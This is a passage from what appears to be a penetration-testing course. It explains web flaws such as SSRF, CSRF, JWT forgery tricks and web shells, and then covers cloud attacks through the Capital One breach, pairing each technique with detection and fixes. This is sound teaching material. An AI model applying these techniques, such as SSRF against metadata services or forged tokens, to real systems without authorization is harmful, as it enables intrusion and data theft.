- Local file inclusion (LFI): the server includes a file already on its own disk. A tester sees content from files that should never be shown, and if text can be planted in a log or an upload, the server may run it.
- Remote file inclusion (RFI): the server includes a file fetched from another address, so code written elsewhere runs on the server. It needs a language setting that allows includes from a URL. Modern defaults keep it off, so it is rare today but still on the exam.
Both lead to arbitrary code execution, the outcome Lesson 17 introduced. The fix is never to build an include path from input: use a fixed list of allowed page names, and keep remote includes disabled.
A related flaw is unrestricted file upload. A form that accepts any file and stores it where the web server can run it lets a visitor place a web shell: a small script that runs commands sent to it over HTTP, giving the sender a foothold. Defenders spot new executable files in upload folders and web server processes starting shells. The fixes are to store uploads outside the web root, rename them, check content by inspecting the file rather than trusting its name, and forbid execution in the upload folder.
Server-side request forgery (SSRF): making the server the messenger
Server-side request forgery (SSRF) is a flaw in which the application fetches a web address supplied by the user, so the user can aim the server's requests at places the user cannot reach directly. Typical features are "import from URL", link previews, webhooks and PDF generators.
Why it matters: the server sits inside the network. It can reach internal admin pages, databases and, in cloud hosting, the metadata service at 169.254.169.254, which hands out credentials to the machine's role. OWASP notes that SSRF is often used in cloud environments to steal credentials and tokens from metadata services.[4] SSRF now has its own place in OWASP's API Security Top 10.[6]
A tester finds it by listing every feature that takes a URL, then supplying an address under the tester's control, such as a listener on the lab network, and checking whether the server connects. A response that arrives is a full SSRF. A connection logged with nothing returned is blind SSRF, proved only by the callback.
What defenders see: outbound requests from the web server to internal ranges or to the metadata address, and unusual destinations in egress logs. The fix, in OWASP's guidance, is an allowlist of the destinations the feature genuinely needs. Where that is impossible, validate the resolved IP address against permitted networks and connect only to the address you validated, because a second lookup can be changed to point somewhere else (DNS rebinding).[4] On AWS, IMDSv2 adds defense in depth.[4]
Cross-site request forgery (CSRF): borrowing the victim's browser
Cross-site request forgery (CSRF) is an attack in which a page on another site makes a logged-in user's browser send a state-changing request, such as "change email" or "transfer funds", to your application. The browser attaches the user's session cookie automatically, so the server sees a valid session and obeys.
The weakness is that the server cannot tell a request the user chose from one a third-party page triggered. Note the difference from XSS in Lesson 17: CSRF needs no script on your site and cannot read the response. It can only cause actions.
A tester checks every state-changing request for something the attacker cannot know: a token in the body or a header, or a check of the Origin header. If the request succeeds when replayed without them, the endpoint is open to CSRF. Defenders see state changes whose Origin or Referer names another site.
OWASP's fixes: the synchronizer token pattern for stateful applications, a double-submit cookie for stateless ones, custom request headers for API calls, the SameSite cookie attribute as defense in depth, and verifying the Origin header.[4] Never use GET requests for actions that change data.
Session hijacking: stealing the wristband
After login, the server hands the browser a session identifier and treats whoever presents it as that user. Session hijacking is taking over that identity by obtaining a valid identifier. OWASP lists the routes: disclosure, capture, prediction, brute force and fixation.[4]
| Route | Weakness | Fix |
|---|---|---|
| Capture on the network | Identifier sent over unencrypted HTTP | HTTPS everywhere and the Secure cookie attribute[4] |
| Disclosure | Identifier placed in the URL, so it lands in logs, history and referrer headers[4] | Carry it in a cookie only |
| Prediction or guessing | Identifier too short or generated by a weak random source | At least 64 bits of entropy from a cryptographically secure generator[4] |
| Fixation | The identifier survives login, so an attacker who set it beforehand shares the session | Issue a new identifier at login |
| Theft by script | Script on the page can read the cookie | HttpOnly attribute, plus fixing the XSS |
OWASP gives a feel for the entropy rule: with 64 bits, 10,000 guesses a second and 100,000 live sessions, an attacker should expect to spend about 585 years to find one valid identifier.[4] A tester collects a sample of identifiers, looks for patterns in them, and checks that the identifier changes at login and logout. Burp Suite's Sequencer, from Lesson 17, rates randomness.
Defenders see one session identifier used from two addresses or two browsers in quick succession. The remedy for the user is logout that actually destroys the server-side session, and short idle timeouts.
Brute-force and collision attacks on the web
A brute-force attack tries many candidate values until one is accepted. On the web the candidates may be passwords, session identifiers, one-time codes, coupon codes, or object numbers like those in the IDOR log. The weakness is the absence of a limit. Defenders see long runs of failures from one source, or many failures against one account, and the fixes are rate limiting, temporary lockout, multifactor authentication and monitoring.
Password-specific guessing, such as spraying, stuffing and mask attacks, is treated with the password-attack objective elsewhere in the course. Here the key point is that anything guessable and unlimited is a target.
A collision attack exploits two different inputs producing the same output. Two forms appear in web work:
- Hash collisions: a hash function should give every input its own digest. Weak functions such as MD5 and SHA-1 have known practical collisions, so an attacker can craft two different files with one digest. An application that trusts "same digest means same file", for upload de-duplication or signature checking, can be fooled. Fix: use SHA-256 or stronger for integrity.
- Hash-table collisions: web frameworks store request parameters in tables keyed by a hash. If an attacker sends many keys that land in one bucket, each lookup slows to a crawl and a small request can exhaust the processor. Defenders see slow requests with huge parameter counts. Fixes: randomized hashing, limits on parameter counts and body sizes.
API abuse: when the front end hides the rule
An application programming interface (API) lets programs, including a website's own scripts, call server functions directly. API abuse is using those functions in ways the designers did not intend. It happens because developers assume the website's buttons are the only caller. A tester never uses the buttons; they send requests straight to the endpoint.
OWASP's API Security Top 10 (2023) names the main patterns.[6] This table pairs each with a question you can ask of any API:
| Pattern | Question to ask |
|---|---|
| Broken object level authorization (API1) | Can I fetch someone else's object by ID? (This is IDOR.) |
| Broken object property level authorization (API3) | Can I read or write a field I should not, such as a role or price? |
| Unrestricted resource consumption (API4) | Is there a limit on requests, sizes and costs? |
| Broken function level authorization (API5) | Can an ordinary user call an admin function? |
| Server-side request forgery (API7) | Does any endpoint fetch a URL I supply? |
A fictional example of the property-level pattern: an update-profile call accepts a JSON body, and the server copies every field it receives into the user record.
Request body sent by the page: {"displayName": "Ana"}
Same endpoint, extra field: {"displayName": "Ana", "role": "customer"}
Server stores whatever arrives, so a tester checks whether "role" is accepted.
This is called mass assignment. The fix is an explicit allowlist of the fields each endpoint may write. A tester discovers the API's shape from documentation, a published specification or recorded traffic; defenders see calls to endpoints no page uses, or one account suddenly calling many functions.
JSON Web Token (JWT) manipulation: trusting the token's own label
A JSON Web Token (JWT) is a compact token with three Base64URL parts: a header, a payload of claims, and a signature. Many APIs use one as the session. Because Base64URL is encoding and not encryption, anyone can read the first two parts. Here is a fictional token's decoded content:
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1042", "role": "customer", "exp": 1767225600}
Signature: [signature removed]
The signature stops tampering, if the server checks it properly. JWT manipulation is changing a token or exploiting how the server verifies it. RFC 8725 lists the known failures:[5]
- The header names the signing algorithm, and the attacker can change it to "none". Some libraries then accept the token with no signature check.[5]
- An RS256 token (signed with a private RSA key) can be relabeled as HS256 (signed with a shared secret). A flawed library may then verify using the public RSA key as the secret.[5]
- A weak HMAC secret, such as a memorable password, can be guessed offline once a tester holds one valid token.[5]
- The server trusts claims such as role without checking them against its own records.[5]
A tester decodes the token, notes the algorithm and claims, and checks in an authorized test whether the server rejects a token whose signature or algorithm has been altered. The fix, in RFC 8725, is to verify the algorithm against a fixed expectation, use strong algorithms and keys, and not trust received claims blindly.[5] Defenders see tokens failing validation, tokens with unexpected algorithms, and a role claim that disagrees with the account database.
Postman, Gobuster, Wfuzz, WPScan and TruffleHog: choosing the tool
Burp Suite and ZAP, from Lesson 17, record and replay traffic. The tools below each do one narrower job. Pick by asking where the thing you need to vary sits.
| Tool | What it is for | Choose it when | What its output looks like |
|---|---|---|---|
| Postman | A graphical client for building and saving API requests in collections, with variables for tokens and base addresses | You have an API and need to send the same call as different users, and compare | Status, headers and a formatted JSON body per request |
| Gobuster | Brute-forces paths and file names (dir mode), DNS names and virtual hosts from a wordlist; also has fuzz mode[7] | You want to find content that no link points to | One line per hit with path, status and size |
| DirBuster | An older graphical tool for the same directory and file guessing | The exam names it beside Gobuster; treat them as alternatives | A results tree of found paths and codes |
| Wfuzz | A fuzzer that replaces a FUZZ placeholder anywhere in a request with entries from a wordlist, and filters responses by code, length or word count | The position to vary is not just a path: a parameter, a header, an object number | A table of attempts with code, lines, words and length |
| WPScan | A WordPress scanner that identifies the version, plugins, themes and users, and matches them to known vulnerabilities; its vulnerability data needs a free API token limited to 25 requests a day[8] | The target runs WordPress, and plugins are the usual weak point | Lists of versions and plugins with vulnerability notes |
| TruffleHog | Searches repositories and other stores for leaked secrets, recognizing over 800 secret types and checking whether they still work[8] | You have source code, a repository history or a file share, and want leaked keys | Each finding with detector name, location and verified or unverified status |
Postman may ask you to sign in for some features. Burp Suite's Repeater or ZAP's request editor does the same job with no account, which is why this course does not require it.
Gobuster is the one to try in your lab. Juice Shop is a single-page app that answers many unknown paths with the same page, so wildcard responses are the first thing to understand. Run a directory scan against your own copy, with a wordlist that ships with Kali:
gobuster dir -u 127.0.0.1:3000 -w /usr/share/wordlists/dirb/common.txt -q
Sample output, expecting something like this rather than an exact capture:
/ftp (Status: 200) [Size: 11062]
/assets (Status: 301) [Size: 179]
/robots.txt (Status: 200) [Size: 28]
Read it as leads to follow, not findings. A directory named ftp on a shop is worth a look in the browser. When every line returns the same status and size, the server is answering everything alike, and you filter by size to see the odd one out. Wordlists decide what you find: a name that is not in the list is never tried.
TruffleHog earns its place because secrets leak where nobody looks. A fictional line of output looks like this:
Detector: AWS
Verified: false
File: config/deploy.env
Commit: 3f2a9c1 (2023-04-11)
Secret: [secret removed]
A tester reports the location and commit, not the secret itself. The fix is to revoke and rotate the credential at once, because deleting the file does not remove it from Git history.
All the families on one page
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| IDOR | No ownership check on an object ID | Burp Repeater, Postman, Wfuzz | One account walking many IDs | Server-side ownership check on every request |
| Directory traversal | User text joined into a file path | Burp, ZAP | Requests for files outside the content folder | Resolve the path, then confirm it is inside the base folder |
| LFI, RFI, web shell | Input chooses what is included or stored as executable | Burp, ZAP, Gobuster to find uploads | Odd include parameters; new scripts in upload folders | Fixed include list; uploads outside the web root |
| SSRF | Server fetches a user-supplied address | Burp, Postman | Web server calling internal or metadata addresses | Allowlist destinations; validate resolved IP |
| CSRF | Cookie sent automatically, no proof of intent | Burp, ZAP | State changes with a foreign Origin | Anti-forgery token, SameSite, Origin check |
| Session hijacking | Weak, exposed or reusable session ID | Burp Sequencer | One session ID from two places | Strong random IDs, Secure and HttpOnly, renew at login |
| Brute-force, collision | No guess limit; weak hash | Gobuster, Wfuzz, Burp Intruder | Bursts of failures; slow requests with huge parameter counts | Rate limits, MFA; SHA-256, randomized hashing |
| API abuse | Rules enforced in the front end only | Postman, Burp | Calls no page makes | Per-function and per-property authorization |
| JWT manipulation | Signature or algorithm not verified strictly | Burp, Postman | Tokens failing validation | Fixed algorithm, strong keys, verify claims |
Exam cues: which flaw does the stem describe?
| The stem says | Think | Commonly confused with |
|---|---|---|
| Changing a number in the URL shows another customer's record | IDOR | SQL injection, which changes query structure, not an identifier |
| A parameter that names a file returns a system file | Directory traversal or LFI | RFI, which needs a fetched remote file |
| The server contacts an address the user supplied | SSRF | CSRF, which uses the user's browser, not the server |
| A hidden form on another site changes the user's settings | CSRF | XSS, which runs script in the target site |
| A cookie reused from another computer | Session hijacking | Credential stuffing, which tries stolen passwords |
| Token accepted with its signature removed | JWT manipulation | Session fixation |
| Ordinary user calls an admin endpoint directly | API abuse (function level) | Privilege escalation on a host |
| Hunting unlinked pages with a wordlist | Gobuster or DirBuster | Wfuzz, chosen when the varied part is not a path |
| Keys found in a repository's history | TruffleHog | WPScan, which targets WordPress |
How the finding is reported
Reporting an access control flaw means showing the evidence without exposing real people's data. Redact personal details and say how many records were reachable, rather than collecting them. A fictional example:
| Field | Entry |
|---|---|
| Title | Order records readable by any logged-in customer (IDOR) in the Larkspur Books portal (fictional client) |
| Severity | High. Any customer can read any other customer's name, address and order history; no special skill is needed; the order numbers run in sequence, so every order can be reached. |
| Evidence | Using test account ana@example.com, request GET /api/orders/1042 returned 200 with a different customer's record. Customer details redacted in the attached screenshots. Two test accounts, three order numbers tried. |
| Root cause | The order endpoint loads by order number and never compares the order's owner to the session's user. |
| Remediation | Add an ownership check in the data layer for every order query; return 404 for orders the user does not own; add a regression test with two accounts; alert on one account requesting many order numbers. |
A good retest runs the same two-account comparison and shows that B's order now fails for A while A's own orders still load.
Common misconceptions
- A login page protects the objects behind it. Login proves who you are. Access control decides what you may touch, and it must be checked per request.
- Random identifiers fix IDOR. They make guessing harder, but the missing ownership check is still there.
- SSRF and CSRF are the same thing. In SSRF the server is the messenger; in CSRF the user's browser is.
- A JWT is encrypted. It is signed. Its contents are readable by anyone who holds it.
- Remote file inclusion works everywhere. It needs a particular setting that is off by default in current PHP.
- A WAF removes these flaws. A WAF can block patterns, but an IDOR request looks legitimate.
What to remember
- Remember: IDOR is a missing ownership check on an identifier the user controls; unguessable identifiers do not replace the check.
- Remember: directory traversal is fixed by resolving the final path and confirming it lies inside the base folder, not by filtering characters.
- Remember: LFI includes a local file, RFI includes a fetched one, and a web shell arrives through an upload that the server can execute.
- Remember: SSRF makes the server fetch an attacker-chosen address; the cloud metadata address 169.254.169.254 is the classic prize, and an allowlist is the fix.
- Remember: CSRF abuses the cookie the browser sends automatically; an anti-forgery token, SameSite cookies and an Origin check defend against it.
- Remember: session identifiers need at least 64 bits of entropy from a secure random source, must be renewed at login, and belong in a Secure cookie, not a URL.
- Remember: a JWT is signed, not encrypted; fixed-algorithm verification stops the "none" and RS256-to-HS256 tricks.
- Remember: pick Postman for API comparisons, Gobuster for unlinked paths, Wfuzz when the varied part is not a path, WPScan for WordPress, and TruffleHog for leaked secrets.
Sources
- Krebs, B. (2019, May 24). First American Financial Corp. leaked hundreds of millions of title insurance records. KrebsOnSecurity. krebsonsecurity.com
- BankInfoSecurity. (2021). First American Financial's SEC breach settlement: $488,000. bankinfosecurity.com
- OWASP Foundation. (2020). Web security testing guide (v4.2): WSTG-ATHZ-01 and WSTG-ATHZ-04. owasp.org
- OWASP Foundation. (n.d.). OWASP cheat sheet series: Server-side request forgery prevention; Cross-site request forgery prevention; Session management. cheatsheetseries.owasp.org
- Sheffer, Y., Hardt, D., and Jones, M. (2020). JSON Web Token best current practices (RFC 8725). IETF. rfc-editor.org
- OWASP Foundation. (2023). OWASP API security top 10 2023. owasp.org
- OJ Reeves and contributors. (n.d.). Gobuster (README). GitHub. github.com/OJ/gobuster
- WPScan Team. (n.d.). WPScan (README); Truffle Security. (n.d.). TruffleHog (README). GitHub. wpscan; trufflehog
- Key terms
- Insecure direct object reference
- A flaw, abbreviated IDOR, in which a request names an object by a user-editable value and the server never checks that the user may access it; the API form is called broken object level authorization.
- Directory traversal
- A flaw in which a user-supplied file name is joined to a folder path and parent-directory sequences let the user read files outside the intended folder.
- Local file inclusion
- A flaw, abbreviated LFI, in which user input chooses a file on the server's own disk that the application includes, exposing its contents or running it as code.
- Remote file inclusion
- A flaw, abbreviated RFI, in which user input chooses a file fetched from another address that the application includes and runs; it needs a language setting that is off by default today.
- Web shell
- A small script placed on a web server, often through an unrestricted upload, that runs commands sent to it over HTTP and gives its sender a foothold.
- Server-side request forgery
- A flaw, abbreviated SSRF, in which the server fetches a web address supplied by the user, letting the user reach internal systems and cloud metadata services.
- Cross-site request forgery
- An attack, abbreviated CSRF, in which another site makes a logged-in user's browser send a state-changing request that the server accepts because the cookie is attached automatically.
- Session hijacking
- Taking over a user's logged-in identity by obtaining a valid session identifier through capture, disclosure, prediction, brute force or fixation.
- JSON Web Token manipulation
- Changing a JSON Web Token or exploiting weak verification, such as accepting the none algorithm or confusing RS256 with HS256, so the server trusts forged claims.
- Gobuster
- An open source tool written in Go that brute-forces directories, files, DNS names and virtual hosts from a wordlist.
Module 7: Attacks III: Cloud, Wireless, People, Specialized Systems, and Automation (Domain 4, objectives 4.6-4.10)
Extend the picture to cloud services, wireless networks, people, mobile devices, AI systems and industrial controls, and see how scripting and breach and attack simulation tools automate and rehearse those techniques safely.
Somebody Else's Computer: Cloud Attacks
- Explain how metadata service attacks work and what each IMDSv2 protection stops.
- Read an IAM policy and a trust policy to state which identities can call which actions on which resources, and classify resource misconfigurations from findings output.
- Distinguish logging exposure, image tampering, supply chain attacks, workload runtime attacks, container escape and trust relationship abuse by mechanism, detection and fix.
- Choose among Pacu, Prowler, ScoutSuite, Docker Bench, Kube-hunter and cloud-native vendor tools, and report a cloud finding within the provider's testing rules.
Capital One's disclosure inbox, 17 July 2019, 1:25 a.m.
At 1:25 a.m. on Wednesday, 17 July 2019, an email from a stranger reached the responsible-disclosure inbox of Capital One, the US credit card issuer. "There appears to be some leaked s3 data of yours in someone's github / gist," it said, and gave a link. An FBI complaint filed twelve days later reproduces it.
The linked file, timestamped 21 April, held code for three commands and a list of more than 700 folders or buckets of data. Capital One ran the commands and confirmed what they did. The first obtained security credentials for an account known as *****-WAF-Role. The second listed the bank's storage. The third copied data from whatever that account could read.
Get an identity. See what it can see. Take what it is allowed to take. Most of objective 4.6 varies those three lines, because in the cloud the computer is somebody else's, in a building you will never enter, and the provider guards that part. What the customer controls, and can get wrong, is configuration: who may do what, from where. Three terms first:
- Amazon Web Services (AWS) is the provider (the indictment says only "the Cloud Computing Company"; the Ninth Circuit's 2025 opinion names it)
- identity and access management (IAM) is its permission system
- a bucket is a named container in Amazon S3, its storage service
Exam objectives: 4.6 (metadata service attacks; IAM misconfigurations; third-party integrations; resource misconfiguration: network segmentation, network controls, IAM credentials, exposed storage buckets, public access to services; logging information exposure; image and artifact tampering; supply chain attacks; workload runtime attacks; container escape; trust relationship abuse; tools Pacu, Docker Bench, Kube-hunter, Prowler, ScoutSuite and cloud-native vendor tools).
Before you run anything: permission twice over
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The indictment shows how that reads from the other side: it charges that each copy command implicitly claimed to come from someone entitled to send it. The commands were ordinary. The permission was missing.
In the cloud you need permission twice, because your client can authorize only what it controls (Lesson 3). The provider's rules sit on top, and they change, so reread them for each engagement. As published on 3 November 2026:
| Provider | Customers may | Forbidden or gated |
|---|---|---|
| AWS | Test their own EC2 instances, WAF, load balancers, RDS, Lambda, API Gateway, ECS, Fargate and other listed services without approval. S3 is not listed; unlisted services go through AWS Support | Denial of service and flooding; DNS zone walking; S3 bucket and subdomain takeover; testing AWS's own infrastructure. Command and control needs approval; simulated phishing and malware need a form |
| Microsoft | Test their own tenant and Azure VMs; try to break out of a shared container, stopping on success and reporting | Denial of service; others' data; credentials not yours, even leaked ones; anything beyond identifying and reporting a flaw |
| Google Cloud | Test their own projects without notifying Google | Anything outside its terms, or affecting other customers |
Nothing in this lesson needs a cloud account. In real work Prowler, ScoutSuite and Pacu run with credentials for the client's account; opening one of your own means a payment card and the provider's terms, so read those first. The one live target here is Docker on your own Kali VM, and Docker Bench only reads its configuration.
The first command: a web application firewall and the metadata service
What do the records prove? The complaint says a firewall misconfiguration let commands reach and run on one server. The superseding indictment says scanners sought servers whose misconfigured firewalls permitted "commands sent from outside the servers to reach and be executed by the servers." The Ninth Circuit adds that a script scanned millions of public addresses associated with AWS, and that Paige Thompson began more than two years after her job at Amazon S3 ended. So this is an outsider scanning the internet, not an insider with a badge.
None of those records names the technique. Brian Krebs, citing a source with direct knowledge of the investigation, reported that a misconfigured open-source Web application firewall (ModSecurity) relayed requests to the AWS metadata service, an example of Server-side request forgery (SSRF), which Lesson 18 covers. MITRE ATT&CK's metadata entry cites that article, while Amazon told Krebs it was inaccurate to say IAM, the metadata service or the AWS WAF caused the breach. Keep the two apart: court records establish the misconfiguration and the stolen credentials; reporting supplies the likely route.
Why could a firewall fetch credentials at all? Every EC2 virtual server can ask a small web service about itself at the link-local address 169.254.169.254. This instance metadata service returns the server's name, network details, start-up script and, if an IAM role is attached, temporary credentials for that role. AWS built it so programs get rotated keys instead of hardcoded ones, and it trusts whatever reaches it from inside the instance. A Reverse proxy or firewall in front of a website takes requests from outside and re-sends them from inside. Misconfigure where it may forward to, and an outsider's request arrives looking local.
| What happens | Why it works | What it leaves behind |
|---|---|---|
| 1. An outsider's request to the public proxy names the metadata address as its destination | The forwarding rule accepts any upstream host | An odd host or path in proxy logs, if anyone reads them |
| 2. The proxy relays it | To the service it is local. Security groups do not filter metadata traffic | Almost nothing: VPC flow logs omit metadata traffic |
| 3. The reply carries the role's temporary key, secret and token back out | It is an ordinary HTTP response | The body, if the proxy logs bodies |
| 4. The outsider calls the cloud API from elsewhere | The credentials work anywhere until they expire, unless a policy limits where | CloudTrail entries for the role from an unfamiliar address |
Both ends, with fictional values and secrets removed. First the reply's shape, from AWS's documentation; the ASIA prefix from Lesson 8 marks a temporary key. Then what the defender gets, trimmed from a CloudTrail record.
{ "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA[rest removed]",
"SecretAccessKey": "[secret removed]", "Token": "[token removed]",
"Expiration": "2026-11-03T18:22:10Z" }
"eventName": "ListBuckets", "sourceIPAddress": "203.0.113.50",
"userIdentity": { "type": "AssumedRole",
"arn": "arn:aws:sts::111122223333:assumed-role/web-proxy-role/i-0abc123example" }
The session name is an instance ID, so these credentials were issued to a server, yet the call came from outside. Capital One's logs held the same tell. The complaint says the role did not normally invoke List Buckets. It also says calls came from what the agent believed were Tor exit nodes and from a VPN provider's addresses. GuardDuty, AWS's threat detector, flags this as UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS, High by default. ATT&CK files the technique as T1552.005.
A tester checks for this whenever a proxy, an SSRF flaw or a URL-fetching feature sits on a cloud host and the ROE covers it. Proof means showing that the service answered, with a harmless item such as the instance ID rather than the credentials path. A credential you were not given for the test is one you do not use.
IMDSv2: four locks on the metadata service
On 19 November 2019, under four months after the complaint, AWS announced IMDSv2, the session-based version. Its post never mentions Capital One, but it names "misconfigured-open website application firewalls" first among the failures it targets.
| Lock | What it requires | What it blocks |
|---|---|---|
| PUT to begin | Software first sends an HTTP PUT to get a token | Open WAFs and proxies: AWS found the vast majority do not pass PUT |
| Secret token | Each read carries the token, valid up to six hours; when required, a missing one gets 401 | Most SSRF, where the attacker controls a URL but not headers |
| No forwarding header | PUTs with an X-Forwarded-For header are rejected | Reverse proxies, which normally add it |
| Hop limit of 1 | The reply's IP time to live defaults to 1, so it dies leaving the instance | Instances misconfigured as routers, VPNs or NAT devices |
The trap is the word "required". IMDSv1 keeps answering until the setting, HttpTokens in AWS's CLI, reads required; optional changes nothing for an attacker. An account default affects only new instances. A hop limit of 1 can break containers that need the service, so the account default sets 2. And IMDSv2 cannot help once an attacker runs code on the instance, because then the request really is local. So the fix has layers:
- require tokens
- shrink the role
- block the address in a local firewall for processes that do not need it
- add a condition such as
aws:Ec2InstanceSourceVpcso that role credentials fail outside the network they were issued to
Other clouds demand a header instead: Metadata: true on Azure, which also refuses X-Forwarded-For, and Metadata-Flavor: Google on Google Cloud. AWS argues that a session is strictly stronger, because some SSRF flaws let the attacker set headers.
Why this matters: a metadata flaw turns a bug in one web server into an identity in the whole account. How far that goes is decided by a different setting, the role's permissions.
The second command: reading what an IAM role may do
A firewall filters web traffic. It has no business reading credit card applications. Yet the complaint says the role listed buckets and copied data from those it had permissions for, and Krebs reported it had too many. This is the exam's identity and access management misconfigurations, and an IAM policy listing is how you read one. It answers the question from Lesson 8: which identities can call which actions on which resources? Here is a policy from a fictional client, Tern Harbor Credit Union, attached to a fictional role, web-proxy-role.
{ "Version": "2012-10-17",
"Statement": [{ "Effect": "Allow",
"Action": ["s3:ListAllMyBuckets", "s3:ListBucket", "s3:GetObject"],
"Resource": "*" }] }
Worked example. Can this role read tern-loan-applications/2026/app-4471.parquet?
- Which identity? A permissions policy names none; it applies to whatever it is attached to. Who may become the role is a separate document, covered below.
- Which action? Reading an object needs
s3:GetObject. It is listed. (s3:ListAllMyBucketsis the permission behind the List Buckets call.) - Which resource? The star matches every bucket and object in the account.
- Anything against it? AWS denies by default, an allow opens a door, and an explicit deny anywhere overrides any allow. Here there is no deny and no condition.
Answer: yes. Stolen credentials for this role read every loan application.
Second run, one line changed. Make the resource "arn:aws:s3:::tern-web-logos/*" and ask again. The action still matches, but no statement covers the loan bucket, so the default deny applies. The same stolen key now reads logos. The metadata flaw is unchanged and the breach is gone.
Three other misconfigurations recur. Rights that grant rights, such as iam:CreatePolicyVersion, or iam:PassRole plus the right to start a server, let an identity make itself stronger; Prowler's iam_policy_allows_privilege_escalation and Pacu's privilege escalation scan look for them. Long-lived AKIA access keys (Lesson 8) do not expire on their own and end up in code and build logs. Unused identities go unwatched, and IAM Access Analyzer reports them. Defenders see API calls unusual for that identity and bursts of AccessDenied when someone probes a key. The fix is least privilege, ideally a policy generated from what the role actually used.
Seven hundred buckets: stolen access versus open access
People often retell Capital One as an open bucket. The records do not. The indictment says data was copied using accounts that had the permissions: a valid identity asked and storage answered. An exposed storage bucket is a different failure, where nobody needs to steal anything. The exam files it under resource misconfiguration with four siblings, all settings you can read, which is why audit tools find them so well. Below, underscores mark Prowler checks and hyphens mark ScoutSuite rules.
| Sub-bullet | What it looks like | Evidence | Fix |
|---|---|---|---|
| Network segmentation | Proxy, application and data in one flat network | Route tables; security groups referencing each other | Separate subnets or accounts per tier |
| Network controls | Security groups open to the internet; unrestricted outbound traffic | ec2_securitygroup_allow_ingress_from_internet_to_all_ports | Allow lists; outbound filtering |
| IAM credentials | Broad roles on internet-facing hosts; keys in start-up scripts | ec2_instance_internet_facing_with_instance_profile | Narrow roles; no keys in scripts; rotation |
| Exposed storage buckets | A bucket policy or ACL granting everyone access (ATT&CK T1530 for reading it) | s3_bucket_public_access; s3-bucket-world-policy-star | S3 Block Public Access at account level. New buckets block by default, so this takes a deliberate change |
| Public access to services | Databases, the Kubernetes API or admin consoles reachable from anywhere | ec2_instance_public_ip; rds-instance-publicly-accessible | Private endpoints; VPN or bastion for admins |
Why this matters: the two failures get opposite fixes. Block Public Access would not have touched a role with valid permissions, and shrinking a role does nothing for a bucket open to the world.
What the logs knew: logging information exposure
Logs helped convict this intruder: Capital One matched a List Buckets call to the timestamp on the posted file. But logging information exposure means logs hold something an attacker can use, or sit where the wrong people can read them. These two fictional lines are what you look for:
2026-03-22T04:12:31Z proxy-01 upstream=169.254.169.254 status=200 body={"AccessKeyId":"ASIA[rest removed]","Token":"[token removed]"}
2026-03-22T04:15:02Z app-02 DEBUG db connect user=svc_loans password=[password removed]
Debug settings survive into production, and log stores often have looser access than the systems they describe. OWASP's Logging Cheat Sheet says to keep access tokens, passwords, encryption keys and session identifiers out entirely. A tester with a read-only role checks log groups and log buckets, perhaps through a secrets scanner such as TruffleHog (Lesson 11), and reports the line number with the value redacted. The fix is masking, narrow read access and a separate log account.
The other half is what logs miss. CloudTrail trails do not record data events by default, and S3 object reads are data events, so downloads can be invisible while the List Buckets call shows. ScoutSuite's cloudtrail-no-data-logging flags this. Logs can also be attacked: the Ninth Circuit says Thompson deleted evidence of her mining from customers' logs. ATT&CK now files disabling cloud logs as T1685.002 (the old ID, T1562.008, redirects there). Defenders alert when logging stops.
Servers billed to someone else: workload runtime attacks and cryptojacking
The indictment also charges Cryptojacking. The Ninth Circuit describes it: with the stolen credentials Thompson created new virtual servers in customers' accounts and deployed miners, and the customers paid while she collected the coins. ATT&CK calls this Resource Hijacking (T1496); starting a rogue container is T1610.
A workload is anything running your code: a virtual machine, a container, a function. A workload runtime attack happens while it runs, so a clean image scan says nothing about it. The attacker abuses the running application to start extra processes, uses the workload's own role, or launches a rogue workload beside it, and nothing has to cross a boundary. Here is a fictional alert, trimmed, using the default Falco rule's real text:
Notice A shell was spawned in a container with an attached terminal | user=root process=bash parent=node container_name=web-proxy
Runtime sensors catch this: Falco (open source), GuardDuty Runtime Monitoring, Microsoft Defender for Cloud. So do bills, CPU graphs and servers in regions the client never uses. Fixes are read-only root filesystems, images with no shell, outbound filtering, narrow roles and budget alerts. On a test, never run a miner: prove the ability with a harmless marker that the ROE names.
The bill: the OCC consent order, the verdict and the sentence
In August 2020 the Office of the Comptroller of the Currency (OCC), the US bank regulator, issued a consent order with a civil money penalty of $80,000,000. The bank neither admitted nor denied the findings. In or around 2015, the OCC found, it "failed to establish effective risk assessment processes prior to migrating" to the cloud.
It also lacked appropriate network security controls, adequate data loss prevention (DLP) controls and effective dispositioning of alerts; internal audit missed numerous weaknesses; and the board failed to hold management accountable.
Look at who was fined. The settings were the customer's, which is Lesson 3's shared responsibility model with a price on it.
After a nine-day trial in June 2022, a jury convicted Thompson of one count of wire fraud and six of computer fraud and abuse, and acquitted her of access device fraud and aggravated identity theft. In October 2022 she received time served (about 100 days), five years of probation with three of home confinement, and 250 hours of community service. The Ninth Circuit put the guideline range at 168 to 210 months.
On 17 March 2025 the Ninth Circuit vacated that as substantively unreasonable. On 3 November 2025 the district court imposed the same sentence, now as five years of supervised release, and again set restitution at $40,745,000. No later ruling turned up as of 3 November 2026.
Her letter quoted in that order says she viewed the download as proof of concept. A tester's proof of concept can use very similar commands. The signed authorization is what separates them.
Figures differ by record, so attribute them:
| Record | What it says |
|---|---|
| Superseding indictment (2021) | Approximately 100,000,000 customers who applied for credit cards; data from more than 30 entities |
| Ninth Circuit (2025) | 98 million Americans; credentials from at least 200 entities, data from at least 30 |
| Complaint (2019) | Approximately 120,000 Social Security numbers and 77,000 bank account numbers |
| Capital One | Approximately 100 million people in the US and 6 million in Canada; about 140,000 Social Security numbers, 80,000 linked bank account numbers and 1 million Canadian Social Insurance Numbers |
Beyond the case: container escape in Docker and Kubernetes
Capital One's role lived on a virtual server, but many workloads now run in Docker containers or under Kubernetes. A virtual machine has its own kernel. A container is a group of processes on the host's kernel, kept apart by namespaces, control groups and capability limits; NIST SP 800-190 lists that shared kernel as a risk in its own right. Container escape means a process gets past those limits to the host or other containers (ATT&CK T1611). There are two routes.
- The configuration hands over the host. A privileged container, a sensitive host directory mounted inside, a shared host namespace or a mounted Docker socket each take down part of the wall. The socket is the classic case: the daemon runs as root unless you opt into rootless mode, and whoever controls it can share any host directory with a new container, so Docker's documentation says only trusted users should control it. In Kubernetes the same choices appear as privileged pods and hostPath volumes, which the Pod Security Standards' Baseline profile forbids.
